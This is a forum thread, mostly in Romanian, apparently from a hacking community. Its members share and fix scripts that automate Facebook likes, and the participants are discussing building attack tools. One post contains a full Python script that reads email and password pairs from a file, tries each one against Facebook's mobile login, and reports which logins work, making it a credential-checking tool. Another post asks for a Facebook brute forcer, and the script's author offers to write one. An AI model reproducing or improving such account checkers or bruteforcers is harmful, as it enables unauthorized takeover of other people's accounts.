Jump to content
Zatarra

[RST] Facebook tools

Recommended Posts

Posted
Functia share la un articol pe cand ai avea timp Zatarra ?

Nu stiu, nu m-am mai gandit la asta sincer. Daca ar fi mai multa lume interesata poate as implementa-o. Oricum trebuie sa reiau scripturile, am auzit ca e posibil la comment sa se fi schimbat ceva algoritmi.

Posted

Sorry I'm only english! :)

I have a problem with the commentlike.php! For me it was working three weeks, but one day it doesn't work anymore. I can login but after the login there is an error.

I posted it at Stackoverflow but nobody could help me.

php - Facebook Commentlike Script doesn't work anymore. Why? - Stack Overflow

The error is:

“for (;;);{“__ar”:1,”error”:1357032,”errorSummary”:”Leider ist etwas schief gelaufen”,”errorDescription”:”Bitte versuche, diese Seite neu zu laden oder schlie\u00dfe dein Browserfenster und \u00f6ffne es erneut.”,”payload”:null,”bootloadable”:{},”ixData”:[]}”

It is the right password and the browser / server isn't blocked from Facebook.

Do you know how to fix it? Thanks a lot Zatarra! :)

Posted (edited)

Hi, I will check the comment liker and post an update if something has to be changed. Thanks for the notice.

Edit:

Quite easy. I will update the source on my blog.

You have to change line number 61 from this one:

@preg_match_all('/\"user\":\"(.*?)\",\"locale\"/',$curlData,$userid);

to this one:

@preg_match_all('/\"user\":\"(.*?)\",\"method\"/',$curlData,$userid);

Please check if now it is working without any problems. It should! :)

Edited by Zatarra
Posted
Am incercat si eu sa fac like la post pe baza scriptului lui zatarra, nu am testat (nu am pe ce), poate ma ajutati voi.

Daca va da erori/nu functioneaza spuneti aici si-l voi ruga pe zatarra sa se uite la el.

Edit: postlike.gif

il testez imediat, ar fi foarte folositor scriptu pt share :)

Posted

Am incercat sa fac un verificator asemanator in python bazat pe codul lu zatarra dar nu sunt sigur cum sa salvez cookie-urile.

#!/usr/bin/env python3
import http.cookiejar
from urllib import request, parse,error


def trythis(email,password):


jar = http.cookiejar.CookieJar()
cookie = request.HTTPCookieProcessor(jar)
opener = request.build_opener(cookie)


headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0",
"Accept" : "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,text/png,*/*;q=0.5",
"Accept-Language" : "en-us,en;q=0.5",
"Accept-Charset" : "ISO-8859-1",
"Content-type": "application/x-www-form-urlencoded",
"Host": "m.facebook.com"
}


url = 'https://m.facebook.com/login.php'
data = parse.urlencode({'email':email,'pass':password,'login':'Enter'})
binary_data = data.encode()
req = request.Request(url,binary_data,headers)
res = opener.open(req)
html = res.read()


if 'Logout' in html.decode('utf-8'):
print('%s:%s OK' % (email,password))
else:
print('%s:%s BAD' % (email,password))


def verify(usrfile = 'users.txt'):
userlist_file = open(usrfile,'r+')
for i in userlist_file.readlines():
fb = i.strip(' ').split(' ')
trythis(fb[0],fb[1])


verify()

Any ideas?

Posted

@djxpaul, nu trebuie sa se intample nimic in consola, trebuie sa se intample pe facebook.

@sharkyz, nu stiu cum se pot salva cookie-urile in python dar stiu sigur ca fara nu vei putea face. Incearca sa cauti ceva module de http

Posted
un brute force de facebook nu se poate face? Gen ai un use list unde bagi adresele de mai si un fisier in care setezi parolele de incercat m iar scriptul sa incerce combinatiile

Dupa cum am mai explicat, depinde foarte mult de setarile contului. Daca se doreste, pot face si un bruteforcer.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...